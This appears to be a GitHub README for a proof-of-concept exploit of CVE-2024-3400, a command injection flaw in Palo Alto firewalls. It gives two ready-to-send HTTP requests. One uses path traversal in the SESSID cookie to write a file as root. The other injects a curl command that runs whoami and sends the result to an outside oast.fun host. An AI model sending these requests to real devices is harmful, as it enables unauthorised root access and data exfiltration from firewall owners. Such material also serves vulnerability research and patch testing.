ghassansabir/cve-2024-3400-pocProof-of-concept exploit for CVE-2024-3400, a command injection vulnerability in Palo Alto firewalls, demonstrating file creation and remote command execution via crafted HTTP requests.
CVE-2024-3400 is a command injection vulnerability in Palo Alto firewall systems. By crafting a malicious HTTP request, an attacker can execute arbitrary commands on the target server and even gain root privileges.
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
After sending this request, a file named hellome1337.txt will be created on the server, and the file will have root privileges.
The screenshots below demonstrate the effect of this exploit:
To exploit this vulnerability for command injection, you can send the following HTTP request:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
This request executes the whoami command on the server and sends the result to a specified remote server (e.g., xxxxxxxxxxxxxxxxx.oast.fun).